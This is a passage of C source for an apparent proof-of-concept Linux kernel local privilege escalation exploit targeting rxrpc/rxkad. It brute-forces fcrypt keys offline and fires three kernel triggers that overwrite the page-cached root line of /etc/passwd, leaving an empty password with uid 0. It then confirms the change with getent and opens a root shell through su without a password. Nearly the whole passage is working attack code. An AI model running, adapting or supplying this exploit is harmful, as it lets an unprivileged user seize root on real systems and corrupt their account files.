   1199 	0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f,
   1200 	0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85,
   1201 	0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05,
   1202 	0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0,
   1203 	0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f,
   1204 	0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3,
   1205 	0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f,
   1206 	0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25,
   1207 };
   1208 
   1209 static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256];
   1210 
   1211 #include <endian.h>
   1212 
   1213 static void fcrypt_init_sboxes(void)
   1214 {
   1215 	for (int i = 0; i < 256; i++) {
   1216 		fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3);
   1217 		fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) |
   1218 				((uint32_t)fc_sbox1_raw[i] >> 5));
   1219 		fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11);
   1220 		fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19);
   1221 	}
   1222 }
   1223 
   1224 #define fc_ror56_64(k, n) \
   1225 	(k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n))))
   1226 
   1227 typedef struct { uint32_t sched[16]; } fcrypt_uctx;
   1228 
   1229 static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8])
   1230 {
   1231 	uint64_t k = 0;
   1232 	k  = (uint64_t)(key[0] >> 1);
   1233 	k <<= 7; k |= (uint64_t)(key[1] >> 1);
   1234 	k <<= 7; k |= (uint64_t)(key[2] >> 1);
   1235 	k <<= 7; k |= (uint64_t)(key[3] >> 1);
   1236 	k <<= 7; k |= (uint64_t)(key[4] >> 1);
   1237 	k <<= 7; k |= (uint64_t)(key[5] >> 1);
   1238 	k <<= 7; k |= (uint64_t)(key[6] >> 1);
   1239 	k <<= 7; k |= (uint64_t)(key[7] >> 1);
   1240 
   1241 	ctx->sched[0x0] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1242 	ctx->sched[0x1] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1243 	ctx->sched[0x2] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1244 	ctx->sched[0x3] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1245 	ctx->sched[0x4] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1246 	ctx->sched[0x5] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1247 	ctx->sched[0x6] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1248 	ctx->sched[0x7] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1249 	ctx->sched[0x8] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1250 	ctx->sched[0x9] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1251 	ctx->sched[0xa] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1252 	ctx->sched[0xb] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1253 	ctx->sched[0xc] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1254 	ctx->sched[0xd] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1255 	ctx->sched[0xe] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
   1256 	ctx->sched[0xf] = htobe32((uint32_t)k);
   1257 }
   1258 
   1259 #define FC_F(R_, L_, sched_) do {                                        \
   1260 	union { uint32_t l; uint8_t c[4]; } u;                               \
   1261 	u.l = (sched_) ^ (R_);                                               \
   1262 	L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^                          \
   1263 	fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]];                           \
   1264 } while (0)
   1265 
   1266 static void fcrypt_user_decrypt(const fcrypt_uctx *ctx,
   1267 		uint8_t out[8], const uint8_t in[8])
   1268 {
   1269 	uint32_t L, R;
   1270 	memcpy(&L, in, 4);
   1271 	memcpy(&R, in + 4, 4);
   1272 	FC_F(L, R, ctx->sched[0xf]);
   1273 	FC_F(R, L, ctx->sched[0xe]);
   1274 	FC_F(L, R, ctx->sched[0xd]);
   1275 	FC_F(R, L, ctx->sched[0xc]);
   1276 	FC_F(L, R, ctx->sched[0xb]);
   1277 	FC_F(R, L, ctx->sched[0xa]);
   1278 	FC_F(L, R, ctx->sched[0x9]);
   1279 	FC_F(R, L, ctx->sched[0x8]);
   1280 	FC_F(L, R, ctx->sched[0x7]);
   1281 	FC_F(R, L, ctx->sched[0x6]);
   1282 	FC_F(L, R, ctx->sched[0x5]);
   1283 	FC_F(R, L, ctx->sched[0x4]);
   1284 	FC_F(L, R, ctx->sched[0x3]);
   1285 	FC_F(R, L, ctx->sched[0x2]);
   1286 	FC_F(L, R, ctx->sched[0x1]);
   1287 	FC_F(R, L, ctx->sched[0x0]);
   1288 	memcpy(out, &L, 4);
   1289 	memcpy(out + 4, &R, 4);
   1290 }
   1291 
   1292 /* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a
   1293  * shell field that equals "/bin/bash" (in /etc/shells, valid path).
   1294  * The two splices interlock as:
   1295  *
   1296  *   bytes 7..14  (offset 2800): P1 — sets uid=0, gid=1 digit, then
   1297  *                4 random gecos-prefix bytes.
   1298  *   bytes 15..22 (offset 2808): P2 — wipes the original ':' at line
   1299  *                pos 16, preserves ':' at pos 21 and '/' at pos 22.
   1300  *
   1301  *   Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash"
   1302  *                   pos 0    8    21       32
   1303  *
   1304  *   pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash".
   1305  *   Now `su -s /bin/bash test` proceeds through the restricted_shell()
   1306  *   check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash
   1307  *   under uid=0.
   1308  *
   1309  * === 3-splice predicates ===
   1310  *
   1311  * After applying splices A, B, C in order to /etc/passwd line 1
   1312  * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state
   1313  * of chars 4..15 is determined by these P bytes:
   1314  *
   1315  *   char 4  = P_A[0]   want: ':'
   1316  *   char 5  = P_A[1]   want: ':'
   1317  *   char 6  = P_B[0]   want: '0'   (overwrites P_A[2])
   1318  *   char 7  = P_B[1]   want: ':'   (overwrites P_A[3])
   1319  *   char 8  = P_C[0]   want: '0'   (overwrites P_A[4]/P_B[2])
   1320  *   char 9  = P_C[1]   want: ':'   (overwrites P_A[5]/P_B[3])
   1321  *   char 10..14 = P_C[2..6]  want: any byte except ':' '\0' '\n'
   1322  *   char 15 = P_C[7]   want: ':'
   1323  *
   1324  * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they
   1325  * are overwritten before /etc/passwd is read by anyone — we only care
   1326  * about the final state. */
   1327 static inline int fc_check_pa_nullok(const uint8_t P[8])
   1328 {
   1329 	return P[0] == ':' && P[1] == ':';
   1330 }
   1331 
   1332 static inline int fc_check_pb_nullok(const uint8_t P[8])
   1333 {
   1334 	return P[0] == '0' && P[1] == ':';
   1335 }
   1336 
   1337 static inline int fc_check_pc_nullok(const uint8_t P[8])
   1338 {
   1339 	if (P[0] != '0') return 0;
   1340 	if (P[1] != ':') return 0;
   1341 	if (P[7] != ':') return 0;
   1342 	for (int i = 2; i < 7; i++) {
   1343 		if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0;
   1344 	}
   1345 	return 1;
   1346 }
   1347 
   1348 static uint64_t fc_splitmix64(uint64_t *s)
   1349 {
   1350 	uint64_t z = (*s += 0x9E3779B97F4A7C15ULL);
   1351 	z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL;
   1352 	z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL;
   1353 	return z ^ (z >> 31);
   1354 }
   1355 
   1356 /* Generic brute-force.  `predicate` decides if a P is acceptable. */
   1357 typedef int (*pcheck_fn)(const uint8_t P[8]);
   1358 
   1359 static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters,
   1360 		pcheck_fn check,
   1361 		uint8_t K_out[8], uint8_t P_out[8],
   1362 		uint64_t seed_init,
   1363 		const char *label)
   1364 {
   1365 	fcrypt_uctx ctx;
   1366 	uint8_t K[8], P[8];
   1367 	uint64_t seed = seed_init;
   1368 	struct timespec ts0, ts1;
   1369 	clock_gettime(CLOCK_MONOTONIC, &ts0);
   1370 
   1371 	for (uint64_t iter = 0; iter < max_iters; iter++) {
   1372 		uint64_t r = fc_splitmix64(&seed);
   1373 		memcpy(K, &r, 8);
   1374 		fcrypt_user_setkey(&ctx, K);
   1375 		fcrypt_user_decrypt(&ctx, P, C);
   1376 
   1377 		if (check(P)) {
   1378 			memcpy(K_out, K, 8);
   1379 			memcpy(P_out, P, 8);
   1380 			clock_gettime(CLOCK_MONOTONIC, &ts1);
   1381 			double dt = (ts1.tv_sec - ts0.tv_sec) +
   1382 				(ts1.tv_nsec - ts0.tv_nsec) / 1e9;
   1383 			LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x  P=%02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
   1384 					label,
   1385 					(unsigned long)iter, dt, iter / dt / 1e6,
   1386 					K[0],K[1],K[2],K[3],K[4],K[5],K[6],K[7],
   1387 					P[0],P[1],P[2],P[3],P[4],P[5],P[6],P[7],
   1388 					(P[0]>=32&&P[0]<127)?P[0]:'.',
   1389 					(P[1]>=32&&P[1]<127)?P[1]:'.',
   1390 					(P[2]>=32&&P[2]<127)?P[2]:'.',
   1391 					(P[3]>=32&&P[3]<127)?P[3]:'.',
   1392 					(P[4]>=32&&P[4]<127)?P[4]:'.',
   1393 					(P[5]>=32&&P[5]<127)?P[5]:'.',
   1394 					(P[6]>=32&&P[6]<127)?P[6]:'.',
   1395 					(P[7]>=32&&P[7]<127)?P[7]:'.');
   1396 			return 0;
   1397 		}
   1398 
   1399 		if ((iter & 0x3ffffff) == 0 && iter > 0) {
   1400 			clock_gettime(CLOCK_MONOTONIC, &ts1);
   1401 			double dt = (ts1.tv_sec - ts0.tv_sec) +
   1402 				(ts1.tv_nsec - ts0.tv_nsec) / 1e9;
   1403 			fprintf(stderr, "  [%s %.1fs] iter=%lu (%.2fM/s)\n",
   1404 					label, dt, (unsigned long)iter, iter / dt / 1e6);
   1405 		}
   1406 	}
   1407 	return -1;
   1408 }
   1409 
   1410 
   1411 int rxrpc_lpe_main(int argc, char **argv)
   1412 {
   1413 	fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n");
   1414 	fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n",
   1415 			getuid(), geteuid(), getgid());
   1416 
   1417 	{
   1418 		const char *no_unshare = getenv("POC_NO_UNSHARE");
   1419 		if (!no_unshare || *no_unshare != '1') {
   1420 			const char *do_unshare = getenv("POC_UNSHARE");
   1421 			if (do_unshare && *do_unshare == '1') {
   1422 				if (do_unshare_userns_netns() < 0) return 1;
   1423 			}
   1424 		}
   1425 	}
   1426 
   1427 	/* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module.
   1428 	 * Without this, the first add_key("rxrpc", ...) call fails with ENODEV
   1429 	 * because the kernel key type "rxrpc" is registered by rxrpc_init() in
   1430 	 * the module load path. */
   1431 	{
   1432 		int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
   1433 		if (dummy < 0) {
   1434 			WARN("socket(AF_RXRPC): %s — module not loadable?", strerror(errno));
   1435 			return 1;
   1436 		}
   1437 		close(dummy);
   1438 		LOG("rxrpc module autoloaded via dummy socket(AF_RXRPC)");
   1439 	}
   1440 
   1441 	/* Open /etc/passwd RO and mmap the first page (which contains the
   1442 	 * root entry on line 1). */
   1443 	const char *target_path = getenv("POC_TARGET_FILE");
   1444 	if (!target_path || !*target_path) target_path = "/etc/passwd";
   1445 
   1446 	int rfd_ro = open(target_path, O_RDONLY);
   1447 	if (rfd_ro < 0) {
   1448 		WARN("open %s RO: %s", target_path, strerror(errno));
   1449 		return 1;
   1450 	}
   1451 	struct stat st;
   1452 	fstat(rfd_ro, &st);
   1453 	if (st.st_size < 32) { WARN("target too small: %lld", (long long)st.st_size); return 1; }
   1454 	LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o",
   1455 			target_path, (long long)st.st_size, st.st_uid, st.st_gid,
   1456 			st.st_mode & 07777);
   1457 
   1458 	/* mmap first page so the page-cache page stays pinned. */
   1459 	void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0);
   1460 	if (map == MAP_FAILED) { WARN("mmap: %s", strerror(errno)); return 1; }
   1461 	LOG("mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)", target_path, map);
   1462 
   1463 	/* If a previous attempt already left the root entry in the patched
   1464 	 * "root::0:0:..." form, treat as success and skip the brute-force /
   1465 	 * trigger stages.  Otherwise proceed regardless of current state —
   1466 	 * the brute-force re-derives K_A/K_B/K_C from whatever bytes are
   1467 	 * currently at offsets 4/6/8 of the page-cache page, so it works
   1468 	 * even on the corrupt residue from a previous failed run. */
   1469 	{
   1470 		const char *m = (const char *)map;
   1471 		if (memcmp(m, "root::0:0", 9) == 0) {
   1472 			LOG("/etc/passwd already patched (root::0:0...) — nothing to do");
   1473 			return 0;
   1474 		}
   1475 		LOG("/etc/passwd line 1 first 16 bytes:");
   1476 		for (int i = 0; i < 16; i++)
   1477 			fprintf(stderr, "%02x ", (uint8_t)m[i]);
   1478 		fprintf(stderr, "\n");
   1479 	}
   1480 	fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '");
   1481 	for (int i = 0; i < 32; i++) {
   1482 		char c = ((const char *)map)[i];
   1483 		fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
   1484 	}
   1485 	fprintf(stderr, "'\n");
   1486 
   1487 	/* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE ===
   1488 	 *
   1489 	 * Read THREE 8-byte ciphertexts at file offsets 4, 6, 8.  Search
   1490 	 * independently for K_A (chars 4-5 = "::"), K_B (chars 6-7 = "0:"),
   1491 	 * K_C (chars 8-15 = "0:GGGGGG:" with G non-control).  All searches
   1492 	 * are user-space only — no kernel/VM interaction.
   1493 	 *
   1494 	 * Last-write-wins ordering: trigger A first (covers 4..11), then B
   1495 	 * (covers 6..13 — overrides A's 6..11), then C (covers 8..15 —
   1496 	 * overrides A's 8..11 and B's 8..13).  Final state of chars 4..15:
   1497 	 *   chars 4..5  = P_A[0..1]
   1498 	 *   chars 6..7  = P_B[0..1]
   1499 	 *   chars 8..15 = P_C[0..7]
   1500 	 * =================================================================*/
   1501 	uint8_t Ca[8], Cb[8], Cc[8];
   1502 	int off_a = 4, off_b = 6, off_c = 8;
   1503 	if (pread(rfd_ro, Ca, 8, off_a) != 8) { WARN("pread Ca: %s", strerror(errno)); return 1; }
   1504 	if (pread(rfd_ro, Cb, 8, off_b) != 8) { WARN("pread Cb: %s", strerror(errno)); return 1; }
   1505 	if (pread(rfd_ro, Cc, 8, off_c) != 8) { WARN("pread Cc: %s", strerror(errno)); return 1; }
   1506 
   1507 	LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
   1508 			off_a, Ca[0],Ca[1],Ca[2],Ca[3],Ca[4],Ca[5],Ca[6],Ca[7],
   1509 			(Ca[0]>=32&&Ca[0]<127)?Ca[0]:'.', (Ca[1]>=32&&Ca[1]<127)?Ca[1]:'.',
   1510 			(Ca[2]>=32&&Ca[2]<127)?Ca[2]:'.', (Ca[3]>=32&&Ca[3]<127)?Ca[3]:'.',
   1511 			(Ca[4]>=32&&Ca[4]<127)?Ca[4]:'.', (Ca[5]>=32&&Ca[5]<127)?Ca[5]:'.',
   1512 			(Ca[6]>=32&&Ca[6]<127)?Ca[6]:'.', (Ca[7]>=32&&Ca[7]<127)?Ca[7]:'.');
   1513 	LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
   1514 			off_b, Cb[0],Cb[1],Cb[2],Cb[3],Cb[4],Cb[5],Cb[6],Cb[7],
   1515 			(Cb[0]>=32&&Cb[0]<127)?Cb[0]:'.', (Cb[1]>=32&&Cb[1]<127)?Cb[1]:'.',
   1516 			(Cb[2]>=32&&Cb[2]<127)?Cb[2]:'.', (Cb[3]>=32&&Cb[3]<127)?Cb[3]:'.',
   1517 			(Cb[4]>=32&&Cb[4]<127)?Cb[4]:'.', (Cb[5]>=32&&Cb[5]<127)?Cb[5]:'.',
   1518 			(Cb[6]>=32&&Cb[6]<127)?Cb[6]:'.', (Cb[7]>=32&&Cb[7]<127)?Cb[7]:'.');
   1519 	LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
   1520 			off_c, Cc[0],Cc[1],Cc[2],Cc[3],Cc[4],Cc[5],Cc[6],Cc[7],
   1521 			(Cc[0]>=32&&Cc[0]<127)?Cc[0]:'.', (Cc[1]>=32&&Cc[1]<127)?Cc[1]:'.',
   1522 			(Cc[2]>=32&&Cc[2]<127)?Cc[2]:'.', (Cc[3]>=32&&Cc[3]<127)?Cc[3]:'.',
   1523 			(Cc[4]>=32&&Cc[4]<127)?Cc[4]:'.', (Cc[5]>=32&&Cc[5]<127)?Cc[5]:'.',
   1524 			(Cc[6]>=32&&Cc[6]<127)?Cc[6]:'.', (Cc[7]>=32&&Cc[7]<127)?Cc[7]:'.');
   1525 
   1526 	fcrypt_init_sboxes();
   1527 	/* selftest */
   1528 	{
   1529 		fcrypt_uctx ctx;
   1530 		uint8_t z[8] = {0};
   1531 		uint8_t cv[8] = { 0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41 };
   1532 		uint8_t pv[8];
   1533 		fcrypt_user_setkey(&ctx, z);
   1534 		fcrypt_user_decrypt(&ctx, pv, cv);
   1535 		if (memcmp(pv, z, 8) != 0) { WARN("fcrypt selftest FAILED"); return 1; }
   1536 	}
   1537 	LOG("fcrypt selftest OK");
   1538 
   1539 	uint8_t Ka[8], Pa_out[8];
   1540 	uint8_t Kb[8], Pb_out[8];
   1541 	uint8_t Kc[8], Pc_out[8];
   1542 	uint8_t Cb_actual[8], Cc_actual[8];
   1543 
   1544 	{
   1545 		uint64_t max_iters = 10000000000ULL;
   1546 		const char *e = getenv("LPE_MAX_ITERS");
   1547 		if (e) max_iters = strtoull(e, NULL, 0);
   1548 		uint64_t seed_base = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
   1549 		const char *se = getenv("LPE_SEED");
   1550 		if (se) seed_base = strtoull(se, NULL, 0);
   1551 
   1552 		fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\")  prob ~1.5e-5 ===\n");
   1553 		if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok,
   1554 					Ka, Pa_out, seed_base, "K_A") != 0) {
   1555 			WARN("K_A search exhausted"); return 2;
   1556 		}
   1557 
   1558 		/* After splice A is applied, the ciphertext that splice B will
   1559 		 * see at file offset 6 is NOT the original Cb — it's the bytes
   1560 		 * that splice A wrote to file offsets 6..11 (= Pa[2..7]) plus
   1561 		 * the original bytes 12..13 (= Cb[6..7]).  We must derive
   1562 		 * Cb_actual and search K_B against it. */
   1563 		memcpy(Cb_actual, Pa_out + 2, 6);
   1564 		memcpy(Cb_actual + 6, Cb + 6, 2);
   1565 		LOG("Cb_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x",
   1566 				Cb_actual[0],Cb_actual[1],Cb_actual[2],Cb_actual[3],
   1567 				Cb_actual[4],Cb_actual[5],Cb_actual[6],Cb_actual[7]);
   1568 
   1569 		fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\")  prob ~1.5e-5 ===\n");
   1570 		if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok,
   1571 					Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL,
   1572 					"K_B") != 0) {
   1573 			WARN("K_B search exhausted"); return 2;
   1574 		}
   1575 
   1576 		/* Same chaining logic for splice C: after splice B, file offsets
   1577 		 * 8..13 hold Pb[2..7]; offsets 14..15 still hold the original
   1578 		 * bytes Cc[6..7]. */
   1579 		memcpy(Cc_actual, Pb_out + 2, 6);
   1580 		memcpy(Cc_actual + 6, Cc + 6, 2);
   1581 		LOG("Cc_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x",
   1582 				Cc_actual[0],Cc_actual[1],Cc_actual[2],Cc_actual[3],
   1583 				Cc_actual[4],Cc_actual[5],Cc_actual[6],Cc_actual[7]);
   1584 
   1585 		fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\")  prob ~5.4e-8 ===\n");
   1586 		if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok,
   1587 					Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL,
   1588 					"K_C") != 0) {
   1589 			WARN("K_C search exhausted"); return 2;
   1590 		}
   1591 	}
   1592 
   1593 	fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n    \"root");
   1594 	/* chars 4-5 from P_A */
   1595 	for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr);
   1596 	/* chars 6-7 from P_B */
   1597 	for (int i = 0; i < 2; i++) fputc((Pb_out[i]>=32&&Pb_out[i]<127)?Pb_out[i]:'.', stderr);
   1598 	/* chars 8-15 from P_C */
   1599 	for (int i = 0; i < 8; i++) fputc((Pc_out[i]>=32&&Pc_out[i]<127)?Pc_out[i]:'.', stderr);
   1600 	fprintf(stderr, "/root:/bin/bash\"\n");
   1601 
   1602 	/* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) ===
   1603 	 * Each trigger does a single in-place decrypt at the
   1604 	 * indicated /etc/passwd file offset.  Last-write-wins on overlapping
   1605 	 * bytes determines the final state.
   1606 	 */
   1607 	fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a);
   1608 	memcpy(SESSION_KEY, Ka, 8);
   1609 	if (do_one_trigger(rfd_ro, off_a, 8) < 0) {
   1610 		WARN("kernel trigger A failed"); return 3;
   1611 	}
   1612 
   1613 	fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b);
   1614 	memcpy(SESSION_KEY, Kb, 8);
   1615 	if (do_one_trigger(rfd_ro, off_b, 8) < 0) {
   1616 		WARN("kernel trigger B failed"); return 3;
   1617 	}
   1618 
   1619 	fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c);
   1620 	memcpy(SESSION_KEY, Kc, 8);
   1621 	if (do_one_trigger(rfd_ro, off_c, 8) < 0) {
   1622 		WARN("kernel trigger C failed"); return 3;
   1623 	}
   1624 
   1625 	/* Verify: re-read line 1 of /etc/passwd via mmap. */
   1626 	fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER:  '");
   1627 	for (int i = 0; i < 32; i++) {
   1628 		char c = ((const char *)map)[i];
   1629 		fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
   1630 	}
   1631 	fprintf(stderr, "'\n");
   1632 
   1633 	/* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */
   1634 	{
   1635 		const char *m = (const char *)map;
   1636 		int ok = (m[4] == ':' && m[5] == ':' &&
   1637 				m[6] == '0' && m[7] == ':' &&
   1638 				m[8] == '0' && m[9] == ':' &&
   1639 				m[15] == ':');
   1640 		if (!ok) {
   1641 			WARN("post-trigger sanity check failed — char layout off");
   1642 			return 4;
   1643 		}
   1644 	}
   1645 	fprintf(stderr,
   1646 			"\n[!!!] HIT — root entry now has empty passwd field, uid=0, "
   1647 			"gid=0, dir=/root, shell=/bin/bash.\n");
   1648 
   1649 	/* === STAGE 3 — VERIFY VIA getent passwd root === */
   1650 	fprintf(stderr,
   1651 			"\n=== STAGE 3: independent verify via `getent passwd root` ===\n");
   1652 	{
   1653 		int p[2];
   1654 		if (pipe(p) == 0) {
   1655 			pid_t pid = fork();
   1656 			if (pid == 0) {
   1657 				close(p[0]);
   1658 				dup2(p[1], 1);
   1659 				dup2(p[1], 2);
   1660 				close(p[1]);
   1661 				execlp("getent", "getent", "passwd", "root", NULL);
   1662 				_exit(127);
   1663 			}
   1664 			close(p[1]);
   1665 			char buf[1024];
   1666 			ssize_t r = read(p[0], buf, sizeof(buf) - 1);
   1667 			close(p[0]);
   1668 			int wstatus = 0;
   1669 			waitpid(pid, &wstatus, 0);
   1670 			if (r > 0) {
   1671 				buf[r] = 0;
   1672 				fprintf(stderr, "[getent passwd root] %s", buf);
   1673 			}
   1674 			fprintf(stderr,
   1675 					"[+] PRIMITIVE proven: root entry has empty passwd field "
   1676 					"via NSS.\n");
   1677 		}
   1678 	}
   1679 
   1680 	/* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so
   1681 	 * the chain wrapper can skip the in-process su PTY stage and exec
   1682 	 * /usr/bin/su itself.  Avoids the flaky posix_openpt bridge. */
   1683 	{
   1684 		int co_flag = 0;
   1685 		for (int i = 1; i < argc; i++)
   1686 			if (!strcmp(argv[i], "--corrupt-only")) { co_flag = 1; break; }
   1687 		const char *e = getenv("DIRTYFRAG_CORRUPT_ONLY");
   1688 		if (e && *e == '1') co_flag = 1;
   1689 		if (co_flag) return 0;
   1690 	}
   1691 
   1692 	/* === STAGE 4 — `su` (target=root, no password input) ===
   1693 	 * PAM common-auth contains "auth [success=2 default=ignore]
   1694 	 * pam_unix.so nullok" — so a target user with empty passwd field
   1695 	 * + nullok flag accepts an empty password.  We auto-inject a
   1696 	 * single newline on the "Password:" prompt and then bridge the
   1697 	 * resulting bash to the user's tty. */
   1698 	fprintf(stderr,
   1699 			"\n=== STAGE 4: spawning interactive root shell via `su` "
   1700 			"(no password input needed) ===\n\n");
   1701 	fflush(stderr);
   1702 
   1703 	int master = posix_openpt(O_RDWR | O_NOCTTY);
   1704 	if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) {
   1705 		WARN("posix_openpt: %s", strerror(errno));
   1706 		return 5;
   1707 	}
   1708 	char *slave_name = ptsname(master);
   1709 
   1710 	struct winsize ws;
   1711 	if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) {
   1712 		ioctl(master, TIOCSWINSZ, &ws);
   1713 	}
   1714 
   1715 	pid_t pid = fork();
   1716 	if (pid < 0) { WARN("fork: %s", strerror(errno)); return 5; }
   1717 	if (pid == 0) {
   1718 		/* child */
   1719 		setsid();
   1720 		int slave = open(slave_name, O_RDWR);
   1721 		if (slave < 0) _exit(127);
   1722 		ioctl(slave, TIOCSCTTY, 0);
   1723 		dup2(slave, 0); dup2(slave, 1); dup2(slave, 2);
   1724 		if (slave > 2) close(slave);
   1725 		close(master);
   1726 		/* `su` with no args targets root.  PAM common-auth's pam_unix.so
   1727 		 * nullok accepts the empty passwd we planted in /etc/passwd. */
   1728 		execlp("su", "su", NULL);
   1729 		_exit(127);
   1730 	}
   1731 
   1732 	/* parent: bridge user's tty <-> master. */
   1733 	struct termios saved_termios;
   1734 	int saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0);
   1735 	if (saved_termios_ok) {
   1736 		struct termios raw = saved_termios;
   1737 		cfmakeraw(&raw);
   1738 		tcsetattr(STDIN_FILENO, TCSANOW, &raw);
   1739 	}
   1740 
   1741 	int auto_pw_sent = 0;
   1742 	int stdin_eof = 0;          /* set when stdin closes (e.g. /dev/null) */
   1743 	char buf[4096];
   1744 	/* If LPE_AUTO_VERIFY=1 is set, the bridge will inject
   1745 	 * `id; whoami; exit\n` so it can prove uid=0 non-interactively
   1746 	 * (e.g. when stdin is /dev/null in CI). */
   1747 	int auto_verify = 0;
   1748 	{
   1749 		const char *e = getenv("LPE_AUTO_VERIFY");
   1750 		if (e && *e == '1') auto_verify = 1;
   1751 	}
   1752 	int verify_sent = 0;
   1753 	int total_ms = 0;
   1754 	for (;;) {
   1755 		struct pollfd pfds[2] = {
   1756 			{ stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 },
   1757 			{ master,       POLLIN, 0 },
   1758 		};
   1759 		int pr = poll(pfds, 2, 200);
